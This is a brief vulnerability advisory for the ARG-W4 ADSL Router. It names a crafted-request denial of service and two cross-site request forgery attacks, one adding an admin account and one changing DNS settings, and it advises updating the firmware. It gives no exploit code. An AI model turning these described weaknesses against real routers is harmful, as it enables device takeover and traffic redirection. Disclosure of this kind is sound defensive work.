ARG-W4 ADSL Router – Multiple Vulnerabilities

The ARG-W4 ADSL Router is vulnerable to Denial of Service attack when a malicious user sends a crafted HTTP request to the router. Additionally, the router is vulnerable to Cross-Site Request Forgery (Add Admin) and Cross-Site Request Forgery (Change DNS) attacks when a malicious user sends a crafted HTML form to the router.

Mitigation:

Users should ensure that the router is running the latest version of firmware and should not open any suspicious links or files.
